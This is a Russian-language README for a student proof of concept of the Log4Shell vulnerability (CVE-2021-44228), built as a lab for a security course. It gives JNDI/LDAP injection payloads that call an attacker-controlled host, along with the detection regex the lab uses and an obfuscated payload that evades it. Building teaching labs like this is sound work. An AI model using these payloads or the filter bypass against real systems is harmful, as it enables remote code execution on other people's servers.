
Доказательство концепции для уязвимости Log4Shell (CVE-2021-44228), разработанный в рамках курсовой работы по учебной дисциплине TPAS в магистерской программе по информационной безопасности в FCUP.
Этот репозиторий содержит доказательство концепции (PoC) уязвимости Log4Shell (CVE-2021-44228), разработанное в рамках курсовой работы по дисциплине TPAS магистерской программы по информационной безопасности в FCUP.
Он включает:
Для запуска этого стека необходимо:
Когда всё запущено:
Поместите эту полезную нагрузку в строку поиска (URL-кодированную, так как она будет передана в GET-параметре запроса):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
Или поместите эту полезную нагрузку в заголовки запроса (вы можете использовать Burp Suite для перехвата и изменения запроса):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
На сайте рядом с именем пользователя есть значок, позволяющий переключать санитацию (очистку) логируемой строки с помощью регулярного выражения \$\{jndi:.*?} или отключать её. По умолчанию санитация отключена, что обозначается красным значком демона. При включении санитации значок меняется на зелёное смайлик.
Эту функцию можно использовать для имитации обхода WAF; вы можете добавить больше регулярных выражений в класс LoggerManager.java на бэкенде.
Вот полезная нагрузка, которая не будет обнаружена текущим регулярным выражением:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}